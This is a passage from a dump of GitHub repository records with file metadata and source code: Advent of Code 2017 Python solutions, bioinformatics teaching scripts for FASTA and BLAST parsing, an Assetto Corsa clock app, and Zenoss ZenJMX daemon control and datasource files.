len(words)):\\n\\t\\t\\tcounter += 1\\n\\nprint(\\\"Valid passphares: %d\\\" % (counter))\\n\"\n },\n {\n \"alpha_fraction\": 0.584942102432251,\n \"alphanum_fraction\": 0.6119691133499146,\n \"avg_line_length\": 20.58333396911621,\n \"blob_id\": \"d71ae79d82621e4fdef949a903ef5a2844bf7ec2\",\n \"content_id\": \"d421e9d3c7aff5c73efdd26e943ac09aa528979a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 518,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 24,\n \"path\": \"/day2/2-1.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 02 - Puzzle: 1\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\nchecksum = 0\\n\\nwith open('input.txt', 'r') as input_file:\\n\\trows = input_file.readlines()\\n\\nfor row in rows:\\n\\trow = row.split('\\\\t')\\n\\trow_min = int(row[0])\\n\\trow_max = int(row[0])\\n\\tfor element in row:\\n\\t\\tif int(element) < row_min:\\n\\t\\t\\trow_min = int(element)\\n\\t\\tif int(element) > row_max:\\n\\t\\t\\trow_max = int(element)\\n\\tchecksum = checksum + (row_max-row_min)\\n\\nprint(\\\"Checksum: %d\\\" % (checksum))\\n\"\n },\n {\n \"alpha_fraction\": 0.5579150319099426,\n \"alphanum_fraction\": 0.5926640629768372,\n \"avg_line_length\": 19.719999313354492,\n \"blob_id\": \"3aa9fb9bca93abd2bee545db8ed2f89b31b8dc98\",\n \"content_id\": \"596163f01d716c3bfb8bf41d838161a900826f73\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 518,\n \"license_type\": \"permissive\",\n \"max_line_length\": 55,\n \"num_lines\": 25,\n \"path\": \"/day5/5-2.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 05 - Puzzle: 2\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\n\\nwith open('input.txt', 'r') as input_file:\\n\\trows = input_file.read()\\n\\nrows = rows.split('\\\\n')\\nindex = 0\\nsteps = 0\\n\\nwhile (index >= 0) and (index < len(rows)):\\n\\told_index = index\\n\\tindex = index + int(rows[index])\\n\\tif int(rows[old_index]) >= 3:\\n\\t\\trows[old_index] = int(rows[old_index]) - 1\\n\\telse:\\n\\t\\trows[old_index] = int(rows[old_index]) + 1\\n\\tsteps += 1\\n\\nprint(\\\"Steps: %d\\\" % (steps))\\n\"\n },\n {\n \"alpha_fraction\": 0.5286259651184082,\n \"alphanum_fraction\": 0.5706107020378113,\n \"avg_line_length\": 13.971428871154785,\n \"blob_id\": \"ee2788d16862d9616716e77d27fa76f63999fe0b\",\n \"content_id\": \"1674c96696a99195de668178fa9fa66b1ee9f33c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1048,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 70,\n \"path\": \"/day3/3-1.py\",\n \"repo_name\": \"giuseppeluzzi/advent-of-code-2017\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# \\t\\t \\t\\tAdvent of Code 2017\\n# \\t\\t\\t\\t\\tDay: 04 - Puzzle: 1\\n# \\t\\t\\t\\t\\t Giuseppe Luzzi\\n# \\thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\\n#\\n\\nimport numpy\\n\\nto = 368078\\n\\ndef nextDirection(val):\\n\\tval += 1\\n\\tif val > 4:\\n\\t\\tval = 1\\n\\treturn val\\n\\nmatrix_size = int(numpy.ceil(numpy.sqrt(to)))\\nif (matrix_size % 2 == 0):\\n\\tmatrix_size += 1\\n\\nhalf = int(matrix_size/2)\\n\\ngrid = []\\nfor _ in range(0, matrix_size):\\n\\tgrid.append([0] * matrix_size)\\n\\nx = half\\ny = half\\nlast_x = half\\nlast_y = half\\nc = 1\\n\\ns = 1\\nmax_step = 1\\ndirection = 1\\nfirst = True\\nfor item in range(0, to):\\n\\tgrid[y][x] = c\\n\\tlast_y = y\\n\\tlast_x = x\\n\\tc += 1\\n\\tif s > 0:\\n\\t\\ts -= 1\\n\\telse:\\n\\t\\tdirection = nextDirection(direction)\\n\\t\\tif first == True:\\n\\t\\t\\ts = max_step - 1\\n\\t\\t\\tfirst = False\\n\\t\\telse:\\n\\t\\t\\ts = max_step\\n\\t\\t\\tmax_step += 1\\n\\t\\t\\tfirst = True\\n\\n\\tif direction == 1:\\n\\t\\t# Right\\n\\t\\tx += 1\\n\\telif direction == 2:\\n\\t\\t# Up\\n\\t\\ty -= 1\\n\\telif direction == 3:\\n\\t\\t# Left\\n\\t\\tx -= 1\\n\\telif direction == 4:\\n\\t\\t# Down\\n\\t\\ty += 1\\n\\n\\ndistance = abs(last_x - half) + abs(last_y - half)\\nprint(\\\"(%d;%d) Distance: %d\\\" % (last_x,last_y, distance))\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":12,"string":"12"}}},{"rowIdx":2984075,"cells":{"repo_name":{"kind":"string","value":"cschu/2BL-Surgery"},"repo_url":{"kind":"string","value":"https://github.com/cschu/2BL-Surgery"},"snapshot_id":{"kind":"string","value":"98e8ccfcffba12c43b35699c89f8ecc12c2c49c4"},"revision_id":{"kind":"string","value":"419152c2498a9010a3871f4ff5887c1b6562cfde"},"directory_id":{"kind":"string","value":"9ff72b36bdddc9b3dccf6b7f38b9caa2d0bbdc20"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2019-01-19T12:10:35.908412","string":"2019-01-19T12:10:35.908412"},"revision_date":{"kind":"timestamp","value":"2015-07-17T16:51:19","string":"2015-07-17T16:51:19"},"committer_date":{"kind":"timestamp","value":"2015-07-17T16:51:19","string":"2015-07-17T16:51:19"},"github_id":{"kind":"number","value":29969474,"string":"29,969,474"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7175792455673218,"alphanum_fraction":0.7420749068260193,"avg_line_length":31.515625,"blob_id":"1efec3fe2760f029ed0fb4428ed224f1e750da79","content_id":"722f6e5652abd0ad14a3040e5fa83b8946e06b27","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2082,"license_type":"no_license","max_line_length":76,"num_lines":64,"path":"/extract_sequence.py","repo_name":"cschu/2BL-Surgery","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n\n# 2BL: Bioinformatics surgery session 4\n# Mar 11, 2015\n\n\"\"\"\nThe aim of this script is to take as input a FASTA file and a pair of\nsequence coordinates and to write the FASTA-formatted region between\nthose specified coordinates to the command line.\n\nSome notes:\n\nGeneral format of a (single sequence FASTA file\n1 header line\nfollowed by 1 or more sequence lines\n\n>id\nACACGTACACCAGTACGGACT\nACACCACGTACCCGTACCGTA\nGACCCAGTAGGACTTACCTAT\n\nWhen the whole file is read into a Python-string, \nit will have the following format:\n\n>id\\nACCCCAGTAGCCATTGACCC\\n\n\nThe different characters that mark the end of a line:\n\\n Linux, MacOSX\n\\r MacOS\n\\r\\n Windows\n\"\"\"\n\n\n# open a FASTA file and assign it to the handle/variable \"file_\"\nfilename = 'top_secret_filename.fa'\nfile_ = open(filename)\n\n# We read the file and split the resulting string by the line-end\n# symbol '\\n', thus creating a list [id, seq, ...]\ndata = file_.read().split('\\n')\n# We take the first two elements of that list\nid_, seq = data[:2]\n\n# These are the coordinates of our marker sequences.\n# (Remember: marker coordinates are 1-based!)\nstart1, end1 = 125653, 125657\nstart2, end2 = 100230, 100234 \n\n# We extract the sequence between the markers.\n# For start2 we have to take into account that Python starts counting at 0.\n# For end1 we don't, since seq[x:y] will only include characters x..(y-1).\nrd_interval = seq[start2 - 1:end1]\n\n# We can print the extracted sequence, together with its length for testing.\n# print rd_interval, len(rd_interval)\n\n# Finally, we print the extracted sequence in FASTA format to the\n# command line '>rd_interval_%i-%i\\n%s\\n' is a formatted string,\n# expecting data to be inserted at the %i and %s markers. %i stands\n# for any integer value, %s for any string We bind the data that makes\n# up our desired output (the boundaries of the interval and the actual\n# extracted sequence) to the formatted string using the % - operator.\n# The data have to be supplied in a tuple (start2, end1, rd_interval).\nsys.stdout.write('>rd_interval_%i-%i\\n%s\\n' % (start2, end1, rd_interval))\n\n"},{"alpha_fraction":0.4516128897666931,"alphanum_fraction":0.4573054909706116,"avg_line_length":24.095237731933594,"blob_id":"a922869beca601c0ecbca032723133bb61bd787d","content_id":"3df1b0217614856dbadc54c7e6466cedce7ef94f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":527,"license_type":"no_license","max_line_length":55,"num_lines":21,"path":"/unformatFasta.py","repo_name":"cschu/2BL-Surgery","src_encoding":"UTF-8","text":"#!/usr/bin/env python\nimport sys\n\ndef readFasta(fn):\n head, seq = None, ''\n with open(fn) as fi:\n for line in fi:\n if line[0] == '>':\n if head is not None:\n yield (head, seq)\n head, seq = line.strip().strip('>'), ''\n else:\n seq += line.strip()\n yield (head, seq)\n\ndef main(argv):\n for head, seq in readFasta(argv[0]):\n sys.stdout.write('>%s\\n%s\\n' % (head, seq))\n\n\nif __name__ == '__main__': main(sys.argv[1:])\n"},{"alpha_fraction":0.608598530292511,"alphanum_fraction":0.6203238368034363,"avg_line_length":37.739131927490234,"blob_id":"c5b6ab441fb4dd1069611f3eaf2986c0d887b84e","content_id":"3c11cc45c169bff583a32bfb2c5f687e8ffc7596","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1791,"license_type":"no_license","max_line_length":76,"num_lines":46,"path":"/blastParse_session01.py","repo_name":"cschu/2BL-Surgery","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n\n# 2BL: Bioinformatics surgery session 1\n# Jan 28, 2015\n\n# open a BLAST output file and assign it to the handle/variable \"file_\"\n# remember: \"file\" is reserved and should not be used as a variable name\nfile_ = open('Go5_mock_C_vseffector_tab.txt')\n\n# step through the file, line by line, or \"for each line in file, do ...\"\nfor line in file_: \n # split the line into columns (line.split() assumes columns \n # are separated by tab (\\t) or space\n # the .strip() removes the newline character from the end of the line *)\n columns = line.strip().split()\n # get the evalue from the line \n # located in column 11, but Python starts counting from 0\n evalue = float(columns[10])\n # if the evalue is below a threshold, in this case 0.5\n if evalue < 0.5:\n # then print the line\n # *) if we did not .strip() the line as above\n # the \"print line\" would add an extra line-break (\\n)\n # after each line\n print line\n \n # for Yogesh, to extract FASTA sequences from a tab-separated file\n # replace \"print line\" with the following three lines\n # id_ = columns[0]\n # sequence = columns[whereever the sequence is located]\n # print '>%s\\n%s\\n' % (id_, sequence)\n #\n # this prints a so-called \"formatted string\", which\n # can be constructed from the data you are processing\n # %s means: any string, and \\n is the line-break\n # so '>%s\\n%s\\n' translates to: \n # >STRING1\n # STRING2\n # which looks just like a FASTA record.\n # % (id_, sequence) then provides the two strings\n # so that the result will be\n # >ID\n # SEQUENCE\n\n\n# remember the script is executed \"python blastParse.py > output.txt\"\n \n"}],"string":"[\n {\n \"alpha_fraction\": 0.7175792455673218,\n \"alphanum_fraction\": 0.7420749068260193,\n \"avg_line_length\": 31.515625,\n \"blob_id\": \"1efec3fe2760f029ed0fb4428ed224f1e750da79\",\n \"content_id\": \"722f6e5652abd0ad14a3040e5fa83b8946e06b27\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2082,\n \"license_type\": \"no_license\",\n \"max_line_length\": 76,\n \"num_lines\": 64,\n \"path\": \"/extract_sequence.py\",\n \"repo_name\": \"cschu/2BL-Surgery\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n\\n# 2BL: Bioinformatics surgery session 4\\n# Mar 11, 2015\\n\\n\\\"\\\"\\\"\\nThe aim of this script is to take as input a FASTA file and a pair of\\nsequence coordinates and to write the FASTA-formatted region between\\nthose specified coordinates to the command line.\\n\\nSome notes:\\n\\nGeneral format of a (single sequence FASTA file\\n1 header line\\nfollowed by 1 or more sequence lines\\n\\n>id\\nACACGTACACCAGTACGGACT\\nACACCACGTACCCGTACCGTA\\nGACCCAGTAGGACTTACCTAT\\n\\nWhen the whole file is read into a Python-string, \\nit will have the following format:\\n\\n>id\\\\nACCCCAGTAGCCATTGACCC\\\\n\\n\\nThe different characters that mark the end of a line:\\n\\\\n Linux, MacOSX\\n\\\\r MacOS\\n\\\\r\\\\n Windows\\n\\\"\\\"\\\"\\n\\n\\n# open a FASTA file and assign it to the handle/variable \\\"file_\\\"\\nfilename = 'top_secret_filename.fa'\\nfile_ = open(filename)\\n\\n# We read the file and split the resulting string by the line-end\\n# symbol '\\\\n', thus creating a list [id, seq, ...]\\ndata = file_.read().split('\\\\n')\\n# We take the first two elements of that list\\nid_, seq = data[:2]\\n\\n# These are the coordinates of our marker sequences.\\n# (Remember: marker coordinates are 1-based!)\\nstart1, end1 = 125653, 125657\\nstart2, end2 = 100230, 100234 \\n\\n# We extract the sequence between the markers.\\n# For start2 we have to take into account that Python starts counting at 0.\\n# For end1 we don't, since seq[x:y] will only include characters x..(y-1).\\nrd_interval = seq[start2 - 1:end1]\\n\\n# We can print the extracted sequence, together with its length for testing.\\n# print rd_interval, len(rd_interval)\\n\\n# Finally, we print the extracted sequence in FASTA format to the\\n# command line '>rd_interval_%i-%i\\\\n%s\\\\n' is a formatted string,\\n# expecting data to be inserted at the %i and %s markers. %i stands\\n# for any integer value, %s for any string We bind the data that makes\\n# up our desired output (the boundaries of the interval and the actual\\n# extracted sequence) to the formatted string using the % - operator.\\n# The data have to be supplied in a tuple (start2, end1, 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seq)\\n\\ndef main(argv):\\n for head, seq in readFasta(argv[0]):\\n sys.stdout.write('>%s\\\\n%s\\\\n' % (head, seq))\\n\\n\\nif __name__ == '__main__': main(sys.argv[1:])\\n\"\n },\n {\n \"alpha_fraction\": 0.608598530292511,\n \"alphanum_fraction\": 0.6203238368034363,\n \"avg_line_length\": 37.739131927490234,\n \"blob_id\": \"c5b6ab441fb4dd1069611f3eaf2986c0d887b84e\",\n \"content_id\": \"3c11cc45c169bff583a32bfb2c5f687e8ffc7596\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1791,\n \"license_type\": \"no_license\",\n \"max_line_length\": 76,\n \"num_lines\": 46,\n \"path\": \"/blastParse_session01.py\",\n \"repo_name\": \"cschu/2BL-Surgery\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n\\n# 2BL: Bioinformatics surgery session 1\\n# Jan 28, 2015\\n\\n# open a BLAST output file and assign it to the handle/variable \\\"file_\\\"\\n# remember: \\\"file\\\" is reserved and should not be used as a variable name\\nfile_ = open('Go5_mock_C_vseffector_tab.txt')\\n\\n# step through the file, line by line, or \\\"for each line in file, do ...\\\"\\nfor line in file_: \\n # split the line into columns (line.split() assumes columns \\n # are separated by tab (\\\\t) or space\\n # the .strip() removes the newline character from the end of the line *)\\n columns = line.strip().split()\\n # get the evalue from the line \\n # located in column 11, but Python starts counting from 0\\n evalue = float(columns[10])\\n # if the evalue is below a threshold, in this case 0.5\\n if evalue < 0.5:\\n # then print the line\\n # *) if we did not .strip() the line as above\\n # the \\\"print line\\\" would add an extra line-break (\\\\n)\\n # after each line\\n print line\\n \\n # for Yogesh, to extract FASTA sequences from a tab-separated file\\n # replace \\\"print line\\\" with the following three lines\\n # id_ = columns[0]\\n # sequence = columns[whereever the sequence is located]\\n # print '>%s\\\\n%s\\\\n' % (id_, sequence)\\n #\\n # this prints a so-called \\\"formatted string\\\", which\\n # can be constructed from the data you are processing\\n # %s means: any string, and \\\\n is the line-break\\n # so '>%s\\\\n%s\\\\n' translates to: \\n # >STRING1\\n # STRING2\\n # which looks just like a FASTA record.\\n # % (id_, sequence) then provides the two strings\\n # so that the result will be\\n # >ID\\n # SEQUENCE\\n\\n\\n# remember the script is executed \\\"python blastParse.py > output.txt\\\"\\n \\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2984076,"cells":{"repo_name":{"kind":"string","value":"Djudjou/Time"},"repo_url":{"kind":"string","value":"https://github.com/Djudjou/Time"},"snapshot_id":{"kind":"string","value":"cd538e7c82ce1ae3177ad38cfaeeee0b1cd02b6e"},"revision_id":{"kind":"string","value":"9468356ac0c2dceb0865b24cfc656cc67a6faaa7"},"directory_id":{"kind":"string","value":"e98ba833aa14b526be097c54c5339fc8a89ab72e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T14:11:09.803324","string":"2021-01-18T14:11:09.803324"},"revision_date":{"kind":"timestamp","value":"2015-01-07T18:14:13","string":"2015-01-07T18:14:13"},"committer_date":{"kind":"timestamp","value":"2015-01-07T18:14:13","string":"2015-01-07T18:14:13"},"github_id":{"kind":"number","value":27384285,"string":"27,384,285"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7037037014961243,"alphanum_fraction":0.7037037014961243,"avg_line_length":12.5,"blob_id":"b9a9e4ffa4b6f716d9615b672381e65f3689e06e","content_id":"73f9b8841683c337482ba48fbe56646a55888b3a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":54,"license_type":"no_license","max_line_length":42,"num_lines":4,"path":"/README.md","repo_name":"Djudjou/Time","src_encoding":"UTF-8","text":"Time\n====\n\nAssetto Corsa app ingame. Affiche l'heure.\n"},{"alpha_fraction":0.5781710743904114,"alphanum_fraction":0.6214355826377869,"avg_line_length":25.657894134521484,"blob_id":"d6f9b5002e283bcdec255170e4d2ea440f170c17","content_id":"69b6469909943dc28f75a81c86069d04ce791595","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1017,"license_type":"no_license","max_line_length":74,"num_lines":38,"path":"/apps/python/Time/Time.py","repo_name":"Djudjou/Time","src_encoding":"UTF-8","text":"##############################################################\n# Kunos Simulazioni\n# AC Python tutorial 04 : Get data from AC\n#\n# To activate create a folder with the same name as this file\n# in apps/python. Ex apps/python/tutorial01\n# Then copy this file inside it and launch AC\n#\n# Source : http://www.racingfr.com/forum/index.php?showtopic=42199&st=2385\n# Created : 21/11/2014\n# Edit : Djudjou ACFR\n# Version : 0.1\n#############################################################\n\nimport ac\nimport acsys\nimport time\n\nlabel1=0\n\n# This function gets called by AC when the Plugin is initialised\n# The function has to return a string with the plugin name\ndef acMain(ac_version):\n global label1\n\n appWindow=ac.newApp(\"Time\")\n ac.setTitle(appWindow,'')\n ac.setSize(appWindow,180,30)\n ac.setPosition(appWindow,1500,50)\n label1=ac.addLabel(appWindow,\"\")\n ac.setPosition(label1,60,5)\n\n return \"Time\"\n\t\ndef acUpdate(deltaT):\n global label1\n\n ac.setText(label1,time.strftime('%H:%M:%S',time.localtime()))\n "}],"string":"[\n {\n \"alpha_fraction\": 0.7037037014961243,\n \"alphanum_fraction\": 0.7037037014961243,\n \"avg_line_length\": 12.5,\n \"blob_id\": \"b9a9e4ffa4b6f716d9615b672381e65f3689e06e\",\n \"content_id\": \"73f9b8841683c337482ba48fbe56646a55888b3a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 54,\n \"license_type\": \"no_license\",\n \"max_line_length\": 42,\n \"num_lines\": 4,\n \"path\": \"/README.md\",\n \"repo_name\": \"Djudjou/Time\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Time\\n====\\n\\nAssetto Corsa app ingame. Affiche l'heure.\\n\"\n },\n {\n \"alpha_fraction\": 0.5781710743904114,\n \"alphanum_fraction\": 0.6214355826377869,\n \"avg_line_length\": 25.657894134521484,\n \"blob_id\": \"d6f9b5002e283bcdec255170e4d2ea440f170c17\",\n \"content_id\": \"69b6469909943dc28f75a81c86069d04ce791595\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1017,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 38,\n \"path\": \"/apps/python/Time/Time.py\",\n \"repo_name\": \"Djudjou/Time\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"##############################################################\\n# Kunos Simulazioni\\n# AC Python tutorial 04 : Get data from AC\\n#\\n# To activate create a folder with the same name as this file\\n# in apps/python. Ex apps/python/tutorial01\\n# Then copy this file inside it and launch AC\\n#\\n# Source : http://www.racingfr.com/forum/index.php?showtopic=42199&st=2385\\n# Created : 21/11/2014\\n# Edit : Djudjou ACFR\\n# Version : 0.1\\n#############################################################\\n\\nimport ac\\nimport acsys\\nimport time\\n\\nlabel1=0\\n\\n# This function gets called by AC when the Plugin is initialised\\n# The function has to return a string with the plugin name\\ndef acMain(ac_version):\\n global label1\\n\\n appWindow=ac.newApp(\\\"Time\\\")\\n ac.setTitle(appWindow,'')\\n ac.setSize(appWindow,180,30)\\n ac.setPosition(appWindow,1500,50)\\n label1=ac.addLabel(appWindow,\\\"\\\")\\n ac.setPosition(label1,60,5)\\n\\n return \\\"Time\\\"\\n\\t\\ndef acUpdate(deltaT):\\n global label1\\n\\n ac.setText(label1,time.strftime('%H:%M:%S',time.localtime()))\\n \"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984077,"cells":{"repo_name":{"kind":"string","value":"alienth/Zenpacks.zenoss.ZenJMX"},"repo_url":{"kind":"string","value":"https://github.com/alienth/Zenpacks.zenoss.ZenJMX"},"snapshot_id":{"kind":"string","value":"aab07bbf96b4695c1a03603ad15c2a0799557ecf"},"revision_id":{"kind":"string","value":"e13eeee604d6dd8e04100f7e2d538d659b786861"},"directory_id":{"kind":"string","value":"a336413eb59dd35c169d1cd4ac4dec658de1e28f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-11T02:57:09.445231","string":"2016-09-11T02:57:09.445231"},"revision_date":{"kind":"timestamp","value":"2012-02-01T00:16:15","string":"2012-02-01T00:16:15"},"committer_date":{"kind":"timestamp","value":"2012-02-01T00:16:15","string":"2012-02-01T00:16:15"},"github_id":{"kind":"number","value":3404707,"string":"3,404,707"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5033055543899536,"alphanum_fraction":0.5142282247543335,"avg_line_length":20.731250762939453,"blob_id":"5455a487f543d8ff45e633452375d8ceafe10fc4","content_id":"db649023a3a45c67fa94046deea8aabe28ab6666","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":3479,"license_type":"no_license","max_line_length":80,"num_lines":160,"path":"/ZenPacks/zenoss/ZenJMX/bin/java-functions.sh","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nreplace() {\n SEARCH=$1\n REPLACE=$2\n FILE=$3\n TEMP=/tmp/`basename $FILE`\n\n sed -e \"s%${SEARCH}%${REPLACE}%g\" < ${FILE} > ${TEMP}\n mv ${TEMP} ${FILE}\n}\n\nrunning() {\n if [ -f $PIDFILE ]; then\n PID=`cat $PIDFILE`\n\t kill -0 $PID 2>/dev/null || $PS | grep -q \"^ *$PID$\"\n\t return $?\n fi\n\n return 1\n}\n\nrestart() {\n stop\n for i in 1 2 3 4 5 6 7 8 9 10\n do\n sleep 0.24 2>/dev/null || sleep 1\n test -f $PIDFILE || break\n done\n start \"$@\"\n}\n\njmx_args() {\n JMX_ARGS=\"\"\n if [ ! -z \"${JMX_LISTEN_PORT}\" ]; then\n JMX_ARGS=\"-Dcom.sun.management.jmxremote.port=${JMX_LISTEN_PORT}\"\n JMX_ARGS=\"${JMX_ARGS} -Dcom.sun.management.jmxremote.authenticate=false\"\n JMX_ARGS=\"${JMX_ARGS} -Dcom.sun.management.jmxremote.ssl=false\"\n fi\n echo $JMX_ARGS\n}\n\nrun() {\n exec java \\\n ${JVM_ARGS} \\\n -jar ${ZENJMX_JAR} \\\n ${RUN_ARGS}\n}\n\nrunjmxenabled() {\n JVM_ARGS=\"${JVM_ARGS} `jmx_args`\"\n exec java \\\n ${JVM_ARGS} \\\n -jar ${ZENJMX_JAR} \\\n ${RUN_ARGS}\n}\n\nstart() {\n if running; then \n echo is already running\n else\n echo starting...\n JVM_ARGS=\"${JVM_ARGS} `jmx_args`\"\n eval exec java \\\n ${JVM_ARGS} \\\n -jar ${ZENJMX_JAR} \\\n ${START_ARGS} > /dev/null 2>&1 &\n PID=$!\n echo $PID > $PIDFILE\n fi\n}\n\nstop() {\n if running; then\n PID=`cat $PIDFILE`\n echo stopping...\n kill $PID\n if [ $? -gt 0 ]; then\n rm -f $PIDFILE\n echo clearing pid file\n fi\n else\n echo already stopped\n fi\n}\n\nstatus() {\n if running; then\n echo program running\\; pid=$PID\n exit 109\n else\n rm -f $PIDFILE\n echo not running\n exit 100\n fi\n}\n\ngeneric() {\n case \"$CMD\" in\n run)\n\t run \"$@\"\n\t ;;\n runjmxenabled)\n\t runjmxenabled \"$@\"\n\t ;;\n start)\n\t start \"$@\"\n\t ;;\n stop)\n\t stop\n\t ;;\n restart)\n\t restart \"$@\"\n\t ;;\n status)\n\t status\n\t ;;\n help)\n\t help\n\t ;;\n *)\n\t cat - <<HELP\nUsage: $0 {run|start|stop|restart|status|help} [options]\n\n where the commands are:\n\n run - start the program but don't put it in the background.\n NB: This mode is good for debugging.\n\n start - start the program in daemon mode -- running in the background,\n detached from the shell\n\n stop - stop the program\n\n restart - stop and then start the program\n NB: Sometimes the start command will run before the daemon\n has terminated. If this happens just re-run the command.\n\n status - Check the status of a daemon. This will print the current\n process nuber if it is running.\n\n help - display the options available for the daemon\n\n\nHELP\n\t exit 1\n esac\n exit $?\n}\n\n\n"},{"alpha_fraction":0.6944873929023743,"alphanum_fraction":0.6970633864402771,"avg_line_length":38.46938705444336,"blob_id":"f590e9bb06a67a449fc57abc9724316990415da5","content_id":"6e991f8b546b94a3c19428834a73196235654c6d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1941,"license_type":"no_license","max_line_length":75,"num_lines":49,"path":"/ZenPacks/zenoss/ZenJMX/info.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2010, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\nfrom zope.interface import implements\nfrom zope.schema.vocabulary import SimpleVocabulary\nfrom Products.Zuul.infos import ProxyProperty\nfrom Products.Zuul.infos.template import RRDDataSourceInfo\nfrom ZenPacks.zenoss.ZenJMX.interfaces import IJMXDataSourceInfo\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\n\ndef jmxProtocolVocabulary(context):\n return SimpleVocabulary.fromValues(JMXDataSource.protocolTypes)\n\nclass JMXDataSourceInfo(RRDDataSourceInfo):\n implements(IJMXDataSourceInfo)\n \n # JMX RMI\n jmxPort = ProxyProperty('jmxPort')\n jmxProtocol = ProxyProperty('jmxProtocol')\n jmxRawService = ProxyProperty('jmxRawService')\n rmiContext = ProxyProperty('rmiContext')\n objectName = ProxyProperty('objectName')\n \n # Authentication\n authenticate = ProxyProperty('authenticate')\n username = ProxyProperty('username')\n password = ProxyProperty('password')\n attributeName = ProxyProperty('attributeName')\n attributePath = ProxyProperty('attributePath')\n # Operation\n operationName = ProxyProperty('operationName')\n operationParamValues = ProxyProperty('operationParamValues')\n operationParamTypes = ProxyProperty('operationParamTypes')\n \n @property\n def testable(self):\n \"\"\"\n We can NOT test this datsource against a specific device\n \"\"\"\n return False\n 